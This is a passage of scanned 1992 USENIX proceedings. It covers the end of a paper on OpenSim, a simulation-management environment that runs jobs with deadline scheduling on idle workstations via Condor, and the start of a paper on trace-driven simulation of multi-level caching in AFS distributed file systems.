output files, and figures constitute a simulation project. The information drawn from simulation projects
often are used to produce technical reports that explain the results of the analysis of simulation models.

Besides the time spent managing files, another common problem among consumers of simulation cycles
is a lack of computing capacity to serve the jobs in their simulation projects. A single plot usually requires
several data points. Each data point may require several minutes or hours of computing time. Convenient
computing facilities are needed so that a system modeler can submit several simulation jobs and later be
informed of their completion. The computing facility should be available without inhibiting a system modeler
from executing simulations for fear of interfering with the turnaround time of non-simulation jobs submitted
by other users. In addition, users would like to know how much capacity they can expect to be allocated to
their jobs.
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OpenSim is a comprehensive facility for performing simulation work that addresses both file manage­
ment and computing capacity problems faced by users. OpenSim integrates new and existing tools in a
single simulation environment. OpenSim users are provided graphical user interfaces for creating input files
for simulations and managing output files produced from simulation runs. Tools are also provided to help a
user easily generate plots from sets of output files associated with a simulation project. In order to serve the
simulation jobs submitted to the system, OpenSim uses the Condor system [1], in which idle workstations
within a computing environment are clustered together to form a processor bank. Finally, OpenSim enhances
Condor by allowing users to request that their jobs be completed within a deadline.

A single simulation job may require several input files and may produce several output files. Since
a simulation project typically involves many jobs, a system modeler may be responsible for producing and
managing several hundred files associated with a project. By allowing the user to define and refer to input
parameters, output variables, and individual simulation jobs through graphical displays, OpenSim relieves
the user from the details of managing the files associated with the simulations. Therefore, the modeler can
concentrate on more productive and interesting activities, such as deciding what input parameters to vary
and what output values to examine.

Once a simulation job or set of jobs has been defined, they may be submitted to Condor for execution.
Condor is a system developed at the University of Wisconsin that allows users to share the capacity of
their workstations without interfering with the owner's usage of a workstation. Condor enables an owner
to automatically donate the capacity of his/her workstation to the processor bank when the workstation is
not needed locally. Capacity is automatically withdrawn during periods of local activity when the owner no
longer wants to share. The processor bank is a dynamic collection of resources that grows when capacity is
donated and shrinks when capacity is withdrawn.

When submitting simulation jobs to OpenSim, a user does not sit idly at a workstation to wait for the
results. On the contrary, the user plans his or her schedule according to the deadlines required for his/her
jobs. Once several jobs are submitted, a user may not need to see the results until the following morning, or
after the weekend. Conversely, another user may face tighter constraints regarding the results of the jobs.
This user wants the system to indicate when the jobs are expected to complete. These jobs may represent
data to be included in a report that must be prepared immediately. Jobs that do not have severe deadline
constraints will interfere with jobs that need to be executed immediately. Therefore, systems using the idle
capacity of workstation clusters to serve users with large computing demands need to schedule jobs according
to the deadlines set by users. OpenSim allows users to associate a deadline with their requests. OpenSim
will either accept or reject the request, depending on whether the required amount of computing capacity is
expected to be available before a specified deadline.

It is important to emphasize that OpenSim is not itself a simulator. OpenSim is a collection of tools that
allow management of simulation projects through a graphical user interface, employ distributed execution of
simulation jobs, and permit display and analysis of simulation results. OpenSim can be adapted to support
many different simulation packages. Because we have previously developed a large amount of CSIM [2]
code, the initial version of OpenSim is compatible with anel permits the management of CSIM simulation
programs. OpenSim could easily be adapted to accommodate additional simulation packages.

The next section reviews work related to OpenSim. Section 3 presents the structures and objectives
of the OpenSim environment. A description of the design and implementation of the input graphical user
interface is given in Section 4 and the output graphical user interface in Section 5. Section 6 presents the
facilities for executing OpenSim jobs at idle workstations, and describes how jobs are scheduled according
to deadline constraints. OpenSim provides facilities for dynamically probing simulation variables, which are
described in Section 7. Contlusions and remarks concerning continuing work are given in Section 8.

2 Related Work

Several researchers have introduced simulation languages to improve the development process of simu­
lation models. Schwetman [2] developed CSIM to provide a process-oriented approach for writing simulation
programs. Since CSIM is based on the C programming language, it is highly portable. Livny developed
a simulation laboratory called DeLab [3], which supports simulation programs written in the DeNet simu-
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lation language [4]. The laboratory is primarily built upon the DeNet language and its facilities. Several
researchers have developed graphical tools to aid the analysis and development of systems for specific prob­
lem domains. For example, Kerola developed a system to graphically model queueing networks. The system
allows a user to choose analytical or approximate solution techniques for a queueing network [5]. Although
it is not a focus of his work, visualization facilities could display simulation results. XWIB [6] is a tool that
reduces the difficulties users face in creating input files for scientific programs. Rijnders et al [7] developed
a visual programming environment to help physicists compose programs to execute in a parallel processing
environment. Surveys of general GUI development environments and tools are given in [8, 9].

The use of Condor within OpenSim has the effect of increasing the utilization of workstations within
a computing environment. Other systems have been developed to increase the utilization of workstation
clusters, which include Processor Server [10], NEST [11], the Butler System [12], and DAWGS [13]. Un­
like OpenSim, these systems are not designed specifically to support simulation environments nor do they
incorporate deadline constraints. Other researchers developed applications specifically for exploiting idle
workstation capacity. For example, a group of mathematicians used capacity from workstations distributed
over a wide area to factor the first 100 digit number [14]. In addition, systems called Jl [15] and Framework
[16] ease the difficulty for users to write parallel and distributed applications that execute on a cluster of
workstations. Kleinrock and Kortbage [17] analyzed the use of idle workstations as compute servers and
concluded that clusters of workstations can provide throughput similar to a large computing machine.

Several researchers have studied aspects of scheduling for real-time systems. For example, important
early work by Mok and Dertouzos showed that if only the timing constraint is considered, both the earliest­
deadline-first and least-laxity-first scheduling schemes produce optimal preemptive schedules for non-fixed
priority systems [18, 19]. Other researchers have concentrated on scheduling aspects of soft real-time environ­
ments. Soft real-time environments tolerate timing constraint violations, and the extent of deadline misses
is an important concern of the designer. Soft real-time scheduling algorithms were described by Chang and
Livny [20]. They evaluated priority assignment strategies and considered the implications of sender-initiated
versus receiver-initiated load sharing algorithms with respect to soft real-time scheduling. The performance
of these strategies was judged by the ratio that jobs missed their deadlines versus those jobs that complete
before their deadline. Our approach for considering the deadline constraints of simulation jobs scheduled
on idle workstations is a form of real-time scheduling with soft deadline constraints. In contrast, real-time
systems with hard deadlines present a different view of the performance of the system. These systems do
not tolerate any job missing its deadline. An example of an analysis of hard real-time scheduling strategies
was conducted by Zhao et al [21]. They studied the problem of determining whether a set of preemptable
tasks can be scheduled, and if so, what is a schedule for them.

3 The System Structure and its Usage

OpenSim packages several different tools into one facility to make the management and analysis of
simulation projects less difficult. Figure 1 shows a typical OpenSim configuration. Each private workstation
has a graphical display and is networked in the local environment. The OpenSim tools for creating simulation
input and analyzing output are located at each workstation. Since Condor is used to execute OpenSim jobs
on available workstations, daemons that conduct local scheduling are located at each workstation. The
daemons determine if a workstation is available for sharing or busy with local activity. The Condor local
scheduler accepts a remote job for execution if the workstation is idle. In addition, each workstation executes
OpenSim routines that interface to the Condor system. These routines create Condor description files and
assign priorities to jobs queued to the Condor system.

One workstation is a coordinator for the Condor system. This station collects status information
from the busy and idle workstations in the system and assigns OpenSim jobs to workstations for execution.
Associated with the Condor coordinator is the OpenSim Deadline Scheduler. This scheduler accepts or
rejects requests for executing Condor jobs. Jobs are accepted if the scheduler determines that the jobs can
meet their deadlines, and are rejected if it is expected that the deadlines cannot be met.
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3.1 System Structure

OpenSim comprises four primary components, which manage input, output, execution, and monitoring
of simulation jobs, respectively.

Graphical User Interface for Simulation Input

A graphical user interface (GUI) is provided to create input files for simulation programs. The interface,
which is one of the OpenSim tools, provides a convenient manner for defining input parameters to simulation
runs. The Condor system requires a description file that defines characteristics required for the execution of
a simulation job. The OpenSim-Condor interface generates the description file.

Output Analysis Tools

The output analysis facilities of OpenSim provide support for extracting output values from files gen­
erated by the simulation program, which may be plotted for presentation. By means of a GUI, the user
defines the input parameters whose values are fixed and the input parameter whose value is varied for the
x-axis of a plot. The user selects the output variables to be plotted, and the OpenSim system extracts the
selected values from the output file and uses the gnuplot [22] tool to generate the plot.

Execution of OpenSim Jobs on Idle Workstations

The Condor facility executes OpenSim jobs at workstations that are available for sharing capacity.
Condor checkpoints jobs and moves them elsewhere when a workstation is no longer available. Since Condor
executes OpenSim jobs only at idle workstations, OpenSim users will not interfere with the activity of
users who execute interactive or background jobs at their private workstations. OpenSim extends Condor
by allowing deadlines to be associated with jobs. Users specify the deadlines of jobs and the expected
demand. The deadline scheduling feature of OpenSim enables users to "reserve" idle capacity in order to
meet the deadlines imposed by users for their OpenSim jobs to complete. OpenSim will either accept or
reject a request depending its demand and deadline. OpenSim is a soft real-time system. Since the amount
of capacity available for sharing is dynamic, OpenSim does not guarantee that the deadlines will be met.
Nevertheless, experience and analysis indicate that good predictions of the amount of capacity available for
sharing in a workstation cluster can be made so that deadline miss ratios can be kept to small values [24].

Dynamic Monitoring of Simulation Metrics

It can be useful during the development stage ofsimulation programs to observe the values of simulation
parameters as the program executes. Library facilities are included in the OpenSim environment so that
users may define probes into their simulation programs to observe the values of the variables as dynamic
graphical displays on their console. Naturally, this facility is only possible if the simulation jobs are executing
interactively, and not as a job queued to the Condor system.

3.2 Using OpenSim

Figure 2 shows the activities of a programmer during the life cycle of a simulation study managed using
OpenSim. The user first develops the simulation program. This work is largely independent of OpenSim,
the only exceptions being input and output. OpenSim provides library routines that are linked with the
user's program to read input and produce output. Next, using the OpenSim Input GUI, the user defines all
input and output simulation variables, including their names, types, and, for input variables, their default
values. OpenSim maintains this information in memory as well as on secondary storage.

The user next defines one or more simulation runs. Using the GUI, this task is accomplished by assigning
values to each of the input variables. It is not necessary for the user to define every run individually. Rather,
a set of runs may be defined implicitly by specifying that a particular input variable should vary over a given
range. Defining a simulation run has two main effects. First, a description file is created that will be used by
the simulation program when executed. Second, a record of the run is created and kept as an entry in a data
structure called the Run Table. The RunTable manages information about runs that have been previously
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Figure 2: Overview of a User's Activity with OpenSim.
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defined and executed. The RunTable provides the user with a convenient mechanism for remembering this
information, however, its main function is to enable the output analysis component of OpenSim to collect
and format results for display.

After defining a collection of simulation runs, the user may execute them. One or more of the jobs may
be forced to be run locally while other jobs may be submitted to Condor to run on idle workstations. If 80

desired, the user is notified upon the completion of jobs, at which time the results may be viewed graphically.
Historically, this process required that the results be gathered and formatted, combined with a definition of
a plot, and fed to a plotting program. Using OpenSim, the procedure is automated. The user defines the
plot using the GUI, and OpenSim extracts the appropriate data from output files, formats the data, and
feeds them to the plotting program, gnuplot [22]. If some specified data points have not yet been generated,
OpenSim will define and execute the needed runs. Definitions of plots and their associated data are kept on
secondary storage. OpenSim uses another data structure, the PlotTable, to manage information concerning
existing plots. The user may peruse the plots that have been produced, selecting some for inclusion in
technical reports.

The final component of OpenSim is designed for use during debugging of a simulation program and for
determining the parameters that are best to run the program. This tools allows interactive monitoring of
one or more output variables from a particular simulation run.

The next sections describe how the facilities that meet the objectives for OpenSim are designed and
implemented, and how the facilities interacts with each other.

4 The Input Graphical User Interface

Input File Format A simulation program typically reads an input file to obtain input parameters. Often,
the format of the file is ad hoc. OpenSim formalizes the description file format so that it may be easily
generated from a GUI, in a manner that is convenient for a user to examine if he/she wants to read it for
debugging purposes. Figure 3 shows a typical simulation input description file. The left curly brace {, the
right curly brace}, and the semicolon are reserved symbols for OpenSim. Anything following a semicolon in
the input file is considered a comment by OpenSim. The OpenSim input file generator puts the names of the
parameters on a comment line before the input parameter values. The left and right curly braces enclose the
name of a simulation structure. As shown in the figure, structure -1 has 3 fields. In this example, the field
names chosen by the user were Parm1, Parm2, and Parm3. The line following the comment shows -1 enclosed
in curly braces followed by the values of the fields, 0.6, 1.0, and 1 respectively. These input description
files can be examined by a user if he/she want to verify the values supplied to his/her simulation program.
The comment lines generated by OpenSim enable the user to easily know which values are associated with
each parameter. If several (or all) structures have the same fields and values, a range of structures can be
specified by placing a dash - between structure identifiers.

Defining Input Variables When OpenSim is invoked for the first time for a particular simulation, all
the input parameters must be defined. This can be done either via the GUI or by editing a file. These
definitions are copied onto secondary storage to handle restarts or reboots. During or after the definition of
input variables, they may be given default values, which remain in effect until changed.

Defining Simulation Runs After defining all input variables and assigning default values to them, the
user may define one or more simulation runs. Again using the GUI, this task is accomplished by assigning
values to each of the input variables. It is not necessary for the user to define every run individually. Rather,
the user may define a set of runs implicitly by specifying that a particular input variable should vary over a
given range.

Simulation Input Routine The OpenSim software is designed to work with many possible simulation
packages. The only requirement of OpenSim for the simulation program is that input values within the
input and output files follow the OpenSim definition strategies. In some simulation packages, such as CSIM,
the user actually writes much of the simulation program, and therefore has total control over the format for
input and output of data. Otherwise, the programmer who is adapting OpenSim must construct a translator
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; Comment follows a semicolon
; Structures in the simulation are enclosed by the curly braces {,}
,
; Structure -1 has 3 fields (ParmI, Parm2, Parm3)
{-I} 0.5 1.0 1
,
; Structures 1-10 have 2 fields (ParmI, Parm2)
{1-IO} 200 120
,
; Structure 11 has 5 fields (ParmI, Parm2, Parm3, Parm4, Parm5)
{II} 150300 1 2 3
; Structures 12-16 have ! field (ParmI)
,
{I2-16} 100

Figure 3: Example OpenSim description file.

Mutka, McKinley

in order to hide any differences in format between OpenSim and the particular simulation package used. The
input library routine for CSIM is called getvar(). The routine getvar expects lines of the description file to
be as shown in Figure 3.

Figure 4 displays a snapshot of some of the OpenSim GUI windows used for defining the input parame­
ters of the standard CSIM example for simulation of an MIMI! queue. The parameters are initially defined
by selecting the Create Parms button, which produces the Create Parameters and the Variable List
windows. The parameters provided by the user include the average interarrival time, IATM, the number of
arrivals in the simulation, NARS, and the average service demand of the arrivals, SVTM. The user indicates
whether the variables are input or output parameters, and defines their type. Other buttons shown on the
main OpenSim Input GUI window are used to produce additional windows for specifying the simulation
runs, selecting the runs for execution, and quitting the input portion of the GUI.

5 The Output Analysis Tool

Output Library Routine In order to facilitate OpenSim's access to output data, the output must adhere
to a format that may be interpreted by the OpenSim output analysis tool. Therefore, in the same manner
as was done for input, a library routine or translator must be provided for each different simulator package
supported by OpenSim.

The output library routine for CSIM is called dumpvar(). The user may continue to use routines such
as print! to write information to output files, as dumpvar tags all lines it prints so as to be identified by
OpenSim. An output variable may have more than one value associated with it. For example, in a simulation
of a computer network, the packet delay parameter output data may include a mean, minimum, maximum,
and intervals for various degrees of confidence. Every line printed by dumpvar is of the form

OPENSIM variable-Ilame field-llame value

The symbol OPENSIM is reserved. All lines without this symbol are for the user's own purposes and
will not be interpreted by the OpenSim output analysis tool. .

Defining a Plot Currently, OpenSim supports only plots of output variable values in an X-Y coordinate
system. Later, OpenSim will support other types of graphical displays, such as bar charts and histograms.
The definition of a plot contains several components, including:
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Figure 4: Snapshot of the OpenSim Input GUI.

• the x and y variables and labels

• definitions of one or more curves, where a curve is defined by fixing all input variables other than the
one(s) associated with the x-axis

• other format-related data, such as locations of legends.

In order to begin plotting, a user selects the Define,j)lots button. Through pop-up menus, the user
is prompted for all of the information concerning the plot. The user may define one or more curves by fixing
the values of all input variables not associated with the x-axis. The user completes the plot definition by
selecting the Done button. OpenSim also allows the user to define multiple plots automatically. This is done
by allowing non-axis variables to be assigned multiple values. Each value will correspond to a different plot.
If more than one variable is fixed across a range, then a plot is defined for every combination of their values.

Producing Plots When the user select the Done button, OpenSim searches the RunTable in order to locate
output data to construct the plot(s). These data are gathered and properly formatted in files. OpenSim
constructs a file that is compatible with gnuplot, which references the data files created.

The Save button is used to save the plot to a file. The user is given control over which plots are worth
saving, and which are not. For each plot saved, an entry is placed in the PlotTable. This table is similar to
the RunTable and assists the user in managing and remembering the plots that have already been produced.
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An interface to the Plot Table is available to the user. With each entry is stored a pathname so that the user
may copy the plot elsewhere or refer to the plot from a technical report.

Viewing Plots The user may view plots in one of two ways. First, the user may view the most recently
produced set of plots by selecting the View.Plots button. Second, the user may select the plot from the
PlotTable and select the View button. A user may view a set of plots sequentially or, up to a reasonable
limit, concurrently. After a user has viewed a plot, he/she may wish to change the format. The ranges and
labels of the x and y axes may need to be changed, or the legend for the plots may require editing. The user
may make the modifications by selecting the Edit button. This provides a convenient manner to modify the
data files used by gnuplot.

Figure 5 shows a snapshot of the OpenSim output GUI that displays results of the simulation of the
standard CSIM example of an M/Mll queue. The main window provides buttons for defining, viewing,
and producing plots. A button is included that will enable a user to see the names of plots that have been
produced. The figure shows the windows used to define the x and y axis of plots and the window to fix
the values of the input variables, such as the variable SVTM in the example, thereby defining curves in a
plot. Once the input and output variables for a plot are defined, the plots are produced using the gnuplot
plotting tool and the results are formatted and displayed within a window. The figure shows a plot of the
mean response time being previewed.

6 Executing OPENSIM Jobs

When a user indicates that a simulation input description is ready for execution, the user selects the
Run button on the input interface. If the OpenSim system is configured for scheduling jobs with deadline
constraints, then the user is asked for the expected demand of the jobs and a deadline. The OpenSim­
Condor interface requests the OpenSim deadline scheduler to reserve capacity for the job so that it can meet
its deadline. The judgment of the OpenSim deadline scheduler to accept or reject a new job depends on
three factors: the expected demand of jobs already accepted by the coordinator, the amount of capacity that
is expected to be available before the deadline of the new job, and the expected demand of the new job. The
OpenSim deadline scheduler maintains a reservation table and a table containing predictions of the capacity
available for sharing. If the OpenSim deadline scheduler does not expect that the deadline can be met, the
user is asked to specify a new deadline.1 When jobs are accepted by the scheduler, the OpenSirri-Condor
interface uses an "earliest-deadline-first" priority assignment strategy for the jobs in its local queue. This
is implemented by specifying the priority of the Condor jobs within the Condor description file [25]. This
description file specifies parameters such as the jobs' standard input and output file names, the name of the
executable program and its priority, and the machine architecture for which the job is compiled. Once the
configuration file is constructed, OpenSim queues the jobs to Condor. Condor manages the execution of the
jobs so that a user does not need to know where the jobs execute. Jobs will be placed at idle workstations.
If a workstation becomes busy with activity from the workstation's owner, the job will be checkpointed and
moved elsewhere. The user can be notified by electronic mail when jobs complete. When simulation jobs
have completed, a user executes the OpenSim output analysis facility to analyze the results.

An important part of the deadline scheduling structure is the available capacity prediction facility.
We implement a simple prediction strategy that performs well [26] without adding significant complexity
or overhead to the software that manages the cluster of available workstations. The strategy adaptively
predicts the amount of capacity for sharing by estimating the amount that can be shared for any particular
hour of a day to be the same amount that was available for the same hour on the previous day. For example,
if between 9-10 am on Wednesday the average amount of available capacity was 70% of the workstation
cluster, then 70% of the capacity is predicted to be available on Thursday between 9-10 am. We estimate the
amount of available capacity for one hour by sampling the availability of the workstations every five minutes,
and accumulating the observed availability for the hour. Each sample is collected easily at one workstation
in the cluster by executing the condor_status() [25] command. The user of the workstation on which the
samples are collected has not noticed the effects. Experience has shown that the ability to predict availability
is improved if we distinguish prediction periods as either weekdays or weekends. Additional benefit comes

10penSim will return a suggested deadline.

300 USENIX - Winter '92



Mutka, McKinley

14

12

10
Rapoase

time 3
(me_) 6

4

'2O--------.......-L..--..L-..............- .......- ......~

o
S,. '.

The OPENSIM Approach: Tools 000

USENlX - Winter '92

Figure 5: Snapshot of the OpenSim Output GUI.

301



The OPENSIM Approach: Tools ••• Mutka, McKinley

from introducing history in the prediction method, so that the estimation of capacity considers not only the
amount of capacity available for the current day, but also the amount that. was "predicted" to be available
for the current day. OUf prediction strategy can be formulated as

NeztWeekdaY[%1-Predict = CurrentWeekday[i].Predict *hist +
CurrentWeekday[i).Actual * (1 - hist),

N eztWeekend[i).Predict = CurrentWeekend[i).Predict *hist +
CurrentWeekend[llActual *(1 - hist),

(1)

(2)

where 0 < i < 24 and 0 $ hist < 1. CurrentWeekdaY[llPredict was the predicted amount of available
capacity for the hour i of the current weekday, and CurrentWeekdaY[llActual is the actual amount observed
to be available for today's hour i. The variable hist regulates the amount that future predictions are based
on past predictions. The hist variable reduces errors in predictions due to these anomalies in the patterns of
workstation availability. From our experience, hist = 0.5 [26] leads to better average prediction performance
than what occurs without any history information. This strategy provides OpenSim users reliable information
regarding the amount of capacity they will be able to reserve for their simulation jobs. There are periods of
prediction difficulty when the system managers of our computing facilities unexpectedly take down certain
file servers, or perform work that causes our computing networks to partition for extended periods. We
cannot control this activity, which has occurred more often than what we prefer. Nevertheless, we have been
using this prediction strategy on 37 SparcStations within our Computer .science Department computing
facilities. During a 4 month period, we have observed errors of approximately 7% in the amount that was
predicted to what actually was available for weekdays, and 5% errors for the weekend.

7 Probing Into Simulation Executions

It is possible to display output of active simulations. Once the user has the simulation, he or she
may select the output parameter to be observed, and a dynamic graph should be displayed~ The z axis
will normally be simulated time. For example, the graph will move from right to left across the screen
according to the selected configuration. In order to display an output parameter, the user's simulation
program uses library routines to allocate a shared memory and write values to the memory that represent
an output parameter's values during the simulation's execution. The keys to the allocated shared memory
locations are kept in a OpenSim system file. OpenSim will read the system·file and allow a user to select the
output parameters that he/she wants to observe. When a user selects an output parameter, a new process
is created that displays the data in the shared memory location. A user can de-select the parameter, which
will terminate the process displaying the output parameter.

8 Conclusions

OpenSim was developed because we conduct a significant amount of research requiring simulations and
we needed better tools to facilitate this work. Our simulation activity has involved problems associated with
the design and performance of multicomputer networks, load distribution facilities in distributed systems,
and task scheduling strategies in real-time systems. OpenSim has been speCifically designed to assist these
activities, although OpenSim possesses the generality required to assist other simulation activities. Since
some courses in our department use simulation as a performance evaluation tool, students are encouraged
to use OpenSim to help them manage the executions and files associated with their assignments.

OpenSim provides a powerful and convenient environment for performing simulation activity. It is
natural to bring together the facilities of Condor to execute jobs at idle workstations with a reservation
facility for capacity allocation. These facilities, combined with the graphical user interfaces for defining
simulation submissions and analyzing their results, are intended to increase the productivity of simulation
programmers by improving system performance and offering a user-friendly interface for managing projects.
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Multi-level Caching in Distributed File Systems
-or-

Your cache ain't nuthin' but trash

D. Muntz and P. Honeyman
Center for Information Technology Integration

The University ofMichigan
Ann Arbor

Abstract
We are investigating the potential for a hierarchy of intermediate file servers to address scaling problems in
increasingly large distributed file systems. To this end, we have run trace-driven simulations based on data from
DEC-SRC and our own data collection to determine the potential of caching-only intermediate servers.

The degree of sharing among clients is central to the effectiveness of an intermediate server. This turns out to be
quite low in the traces available to us. All told, fewer than 10% of block accesses are to files shared by more than
one file system client.

Our simulations show that even with an infinite cache at an intermediate server, cache hit rates are disappointingly
low. For client caches as small as 20M, we observe hit rates under 19%. As client cache sizes increase, the hit
rate at an intermediate server approaches the degree of sharing among all clients. On the other hand, the inter­
mediate server does appear to be effective in boosting the performance and scalability of upstream file servers by
substantially reducing the request rate presented to them.

1. Introduction
As distributed file systems grow, so does the need to increase scalability. At the Institutional File System Project,
we are investigating tools and techniques for offering file service to a huge client base, perhaps as many as 30,000
end systems. We elected to deploy AFS [1] as the principal distributed file system protocol, because it has proven
to scale well to environments with large numbers of users and files [2]. AFS clients cache copies of recently used
files on their local disks. This allows most file system access requests to be serviced by the local cache manager,
without any mediation by file servers.

To reach the broad base of users at our campus, we need to service clients supporting a variety of file system pro­
tocols, e.g., AFS, NFS [3], and AFP [4], among others. Our principal file servers all run AFS, so the first of these
is not a problem. For other file system protocols, we have built intermediate servers that act as AFS clients of the
principal file servers and as NFS or AFP servers for clients requiring foreign protocols.

We also considered the case where the intermediate server uses AFS for both its client and server roles. This
architecture extends to one in which there are multiple levels of intermediate AFS (or iAFS) servers, each caching
files it fetches from the upstream servers, and serving files out of its cache to downstream clients.

One reason for considering multi-level cache hierarchies is that they have shown great success in improving CPU
performance when used in processor memories [5]. In the context of file systems, caching-only intennediate
servers potentially reduce the load presented to the principal file servers by satisfying client requests directly.
Furthermore, iAFS servers offer the potential to concentrate state informationt that might otherwise overload the
principal servers. Resources thus freed can then be used to serve a larger client base.

t Namely, AFS connections and callbacks.
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The goal of this study is to assess the degree to which iAFS servers can increase the performance and scalability
of large-scale distributed file systems. Our principal tool is a trace-driven simulator that analyzes file system trace
data taken from "real-world" networks.

2. Trace-driven simulation
To explore the potential of multi-level caching in distributed file systems, we ran trace-driven simulations to
predict the hit rates that we might see at an iAFS server. The subject of these simulations is data caching. (Direc­
tory caching may be studied in future work.) Th~ traces fed to the simulator were derived both from data col­
lected in a network of Firefly workstations [6] at the Digital Equipment Corporation's Systems Research Center,
and from file server trace data collected here at cm.

2.1. Firefly trace data
The Firefly data was collected over a four day period in February, 1990 from 115 Firefly workstations supporting
the Topaz environment, which includes a (proprietary) distributed file system protocol. During the trace period,
each client produced a log record for every system call related to file system operations. Each record contained
the following information:

• the name of the system call • the time at which the call was entered
• the process id of the invoking process • the time at which the call was exited
• the arguments to the call • the success or failure status of the call

We preprocessed the data to convert file descriptors into path names, to eliminate irrelevant log records, and to
normalize the name space.

The cache simulator needs pathnames for its hit rate accounting. However, some system calls, e.g., read, use a
file descriptor instead of a pathname. To convert fd's to pathnames, we implemented a process simulator that
builds a table for each process which associates the pathname used in, say, open calls with the file descriptor
returned. This table is copied across fork and exec calls. Relative pathnames, such as those starting with" • tt

and " .. tt, were also converted to the appropriate pathnames at this stage.

In this study, accesses to the local file system were not of interest and were eliminated in preprocessing. In addi­
tion, system calls that failed were elided. Failures can arise, e.g., when attempting to create a file in a write­
protected directory.

The name space was normalized by converting names of the form host :path to a flat name space of unique
integers. In all, 68,413 different pathnames are referenced in 2,807,003 trace records.

2.2. IFS trace data
The IFS trace data was collected from four AFS servers running on IBM RT computers during a 4.8 day period in
early November, 1990. The data records all file server requests from 49 clients. 31,538 different files are refer­
enced in 92,571 trace records.

Data collected at the IFS Project was tailored more directly to our needs and required less preprocessing. AFS
clients exchange file data with the server via FETCHDATA and STOREDATA requests, whose functions follow
directly from their names. Each FETCHDATA and STOREDATA request contains a timestamp, the client's network
address, the file's FlD (the unique identifier for a file) and the offset and length of the data being requested.

In the IPS traces the return status of the requests is not recorded. We have observed that almost all fetch and store
requests succeed, so we don't believe that this limitation invalidates the results reported by the simulator.

3. The simulator .
We performed experiments simulating distributed environments with a two-level cache design, using file system
activity traces provided by DEC-SRC as well as traces collected locally. In the simulated environments of the
experiments, the client machines are connected to an intermediate server which is in tum connected to a principal
file server.
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Clients
Topology of the simulated environment

For the experiments discussed in this paper, the intermediate server has a potentially infinite cache. This is obvi­
ously impractical. Because an iAFS server with a finite cache would be forced to flush its contents on occasion,
the hit rates reported here are larger than can be achieved in reality.

The operation of the simulator is straightforward. When a system call requesting a file from the server machine
appears in the trace data, the simulator checks the local cache on the requesting machine to see if the request can
be satisfied there. If the requested block is found in the local cache, a "hit" is logged for that client and the next
trace record is processed. Otherwise, a "miss" is recorded for the client, and the cache on the iAFS server is
checked for the requested block.

If the block is found in the iAFS server's cache, a hit is recorded for the iAFS server, and the block is placed in the
client's cache. Otherwise, a miss is recorded for the iAFS server, the block is installed in both the iAFS server's
cache and the client's cache, and the next trace record is processed.

In this way, the input of trace records is processed until exhausted. All read and write requests are guaranteed to
succeed at the server, and the cache replacement policy is LRU. When a file is written by a client, the simulator
invalidates that file in the cache of any other client holding a copy. Write operations are counted as cache misses
on the iAFS server.

4. Hit rate simulations
In the first set of experiments, we examine the hit rates that can be expected for the iAFS server cache. We first
simulate an iAFS server with an unbounded cache using the trace data from the Firefly clients. We then restrict
our attention to 20 Firefly clients that appear to exhibit a high degree of data sharing - these 20 clients are
responsible for over half of the iAFS server cache hits. We then use the trace data collected from the 49 IFS
clients. Again we simulate an iAFS server with an unbounded cache.

We used 64K as our cache block size, because this is the size used by AFS. Simulations were also run using block
sizes of 4K, 8K, 16K, and 32K; those results are not substantially different from the ones presented here.

4.1. Firefly clients
The first experiment with the Firefly data simulates an environment in which all 115 machines are clients to an
iAFS server. The iAFS server is given an "infinite" cache size, so that if a given block is ever sought twice, each
request ~fter the first causes a hit at the iAFS server. In practice, the iAFS server cache would have to be 7,880M
to achieve this hit rate. The size of the client caches is varied in each simulation to generate a graph of client
cache size V$. iAFS server cache hit rate.
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Client cache size vs. iAFS hit rate

Recent studies utilizing the Firefly data have shown that client caching is desirable [7]: when client caching is dis­
abled, the iAFS has a 70% hit rate, which falls off rapidly as clients are able to resolve requests from a local
cache. With just 1M of client cache, the iAFS hit rate falls below 30%. In our (typical AFS) environment, clients
have 20M caches containing roughly 1,500 cached files when hot. For such an environment the simulation
predicts an 11% hit rate at the iAFS server. Client cache sizes can be expected to grow as disk density continues
to increase. The simulation predicts a corresponding decrease in iAFS server hit rates: an 80M client cache pro­
duces a 7% iAFS hit rate.

As the client cache size approaches infinity, the hit rate at the iAFS server asymptotically approaches the degree of
sharing, i.e., the fraction of files that are accessed by more than one client system. This asymptote is represented
in the graphs by a dashed line. The degree of sharing seen among the Firefly clients is 6.1 %.

4.2. Partial Firefly clients
Among the Firefly clients, there is a subset whose file reference patterns are more tightly woven: 20 clients are
responsible for over half of the overlap in file references among all 115 Fireflies. We simulated an iAFS server
for these 20 clients, as in the previous section. The degree of sharing among them is 5.8%.

40M 80M 80M20Mo

20%

40%
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0% -4r--"""T"""---.----r--~-

Client cache size vs. iAFS hit rate

Again, we see that even meager client cache sizes result in low iAFS hit rates. In this experiment when the client
caches are 20M, the iAFS hit rate is about 18%. When client caches are 80M, the iAFS hit rate drops to about
7.6%

4.3. IFS clients
In the third experiment, data collected on IFS project file servers was used to drive the simulations. The four
servers on which data was collected contain all home directories, system binaries, and project-related data and
programs for the several dozen IPS project staff.
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This data reflects FETCHDATA and STOREDATA requests from 49 AFS clients. Again, the simulation involves all
49 clients connected to one iAFS with infinite cache. Clients in the IFS project have 20M caches on their local
disks, so read requests satisfied by the local cache are invisible to the server. Because the trace data was collected
on the server, simulation is possible only for client caches of at least 20M. The degree of sharing among the 49
IFS project clients is 8.5%.

o 20M40M 80M 120M 160M

Client cache size vs. iAFS hit rate

For typical AFS client cache sizes, 2Q-80M, the simulation predicts the iAFS hit rate to be 15%-18%.

5. Hot and cold cache experiments
In this section, we focus on the IFS trace data with 20M client caches, reflecting the environment in which the data
was collected. In the simulations described so far, the iAFS server cache is initially empty, or "cold." Conse­
quently, in the early hours of the simulation there are very few cache hits. Examining the iAFS server hit rate over
time, the aggregate hit rate increases through the simulated 116 hour duration, and is apparently still rising at the
end of the simulated period.

o 24 hr 48 hr 72 hr 96 hr

Time vs. iAFS server cache hit rate

As the iAFS server cache "warms up," the hit rate becomes more respectable. Clearly there must be times when
the hit rate is higher than the final 18%. Further data collection covering a larger period of time will give a better
indication of the shape of this curve.

In the next experiment, we collect hourly hit rate statistics and plot them as the "instantaneous" hit rate at the
iAFS server cache. We show this in the next graph, along with the hourly request rate presented to the iAFS
server.
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Upper graph: instantaneous hit rate
Lower graph: request rate

The upper graph shows a highly variable instantaneous hit rate with several distinct peaks. The lower graph
shows a similar pattern in request rates. Note that after a "warm-up" interval, the peaks in the request rate coin­
cide with peaks in the hit rate. This is due to bursts of activity on individual workstations that would be serviced
locally if client caches were larger.

To gauge the effect of a "hot" cache in the iAFS server, we re-ran the simulation of the previous section on a
